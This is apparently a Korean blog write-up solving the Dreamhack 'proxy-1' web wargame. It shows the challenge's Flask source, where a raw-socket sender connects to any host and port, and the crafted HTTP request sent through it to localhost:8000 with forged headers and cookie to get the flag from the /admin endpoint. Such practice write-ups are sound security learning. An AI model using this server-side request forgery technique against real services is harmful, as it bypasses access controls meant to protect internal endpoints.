[WEB] proxy-1 문제풀이

Raw Socket이란 '어느 특정한 프로토콜 용의 전송 계층 포맷팅 없이 인터넷 프로토콜 패킷을 직접적으로 주고 받게 해주는 소켓'을 말한다. 즉, 인터넷 통신은 TCP/IP의 4계층의 단계별로 포맷팅되고 전송되는 과정을 거치는데 Raw Socket을 이용하면 Application 단계에서 통신 데이터를 조작할 수 있는 것을 말한다. nmap이나 wireshark 등의 프로그램이 Raw Socket을 사용하며, Proxy 도구인 Burp도 마찬가지이다.

 

문제를 확인해보자.

 

 

Raw Socket Sender가 구현된 서비스에서 요구조건을 맞춰서 플래그를 획득하라고 한다.

일단 접속해보자.

 

 

Raw Socket Sender 링크를 클릭해보자.

 

 

host, port, data를 작성하여 send 할 수 있는 기능인가보다.

데이터를 아무렇게나 보내보자.

 

host: 127.0.0.1
port: 80
Data: hi

 

 

에러가 난다. 힌트가 필요하므로 소스코드를 확인해보자.

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

socket 페이지에서 send 버튼을 누르면 host, port, data가 전송된다.

 

admin 페이지는 전송된 패킷이 조건에 부합하면 FLAG를 띄워준다.

요구조건은 다음과 같다.

 

1. request.remote_addr=127.0.0.1

// 클라이언트 ip가 127.0.0.1 인지 확인한다.

 

2. request.headers.get('User-Agent')=Admin Browser

// User-Agent 헤더 값이 Admin Browser 인지 확인한다.

 

3. request.headers.get('DreamhackUser')=admin

// DreamhackUser 라는 헤더의 값이 admin 인지 확인한다.

 

4. request.cookies.get('admin')=true

// admin 이라는 쿠키 값이 true 인지 확인한다.

 

5. request.form.get('userid')=admin

// POST body의 userid 라는 파라미터 값이 admin 인지 확인한다.

 

Raw Socket Sender를 이용하여 로컬 단에서 admin 페이지에 Data를 전달하도록 한다.

공격 페이로드는 다음과 같다.

 

Host: 127.0.0.1
Port: 8000
Data: 
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true

userid=admin

 

소스코드가 작성된 app.py 파일에서는 플라스크를 8000번 포트로 실행하기 때문에 8000번 포트로 전송한다.

전송해보자.

 

 

Admin id라는 에러메시지가 응답됐다.

해당 에러는 POST 데이터 userid=admin 조건에 부합하지 않을때 나오는 메시지이다.

여러 삽질 끝에 POST 패킷을 전송하려면 특정 헤더가 추가되어야함을 알게되었다.

추가가 필요한 헤더는 다음과 같다.

 

"Content-Type:application/x-www-form-urlencoded"

"Content-Length: {body 데이터의 길이}"

 

이 헤더를 추가하여 페이로드를 다시 작성해보자.

 

Host: 127.0.0.1
Port: 8000
Data:
POST /admin HTTP/1.1
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
 
userid=admin

 

userid=admin 데이터는 12자이기 때문에 Content-Length 헤더의 값을 12로 주었다.

이제 다시 전송해보자.

 

 

플래그가 나왔다.

 

문제풀이 끗

'워게임 > dreamhack' 카테고리의 다른 글

[dreamhack] web-misconf-1 문제풀이  (0) 2021.06.15
[dreamhack] php-1 문제풀이  (0) 2021.06.15
[dreamhack] Carve Party 문제풀이  (0) 2021.06.08
[dreamhack] csrf-1 문제풀이  (0) 2021.06.02
[dreamhack] image-storage 문제풀이  (0) 2021.06.02
복사했습니다!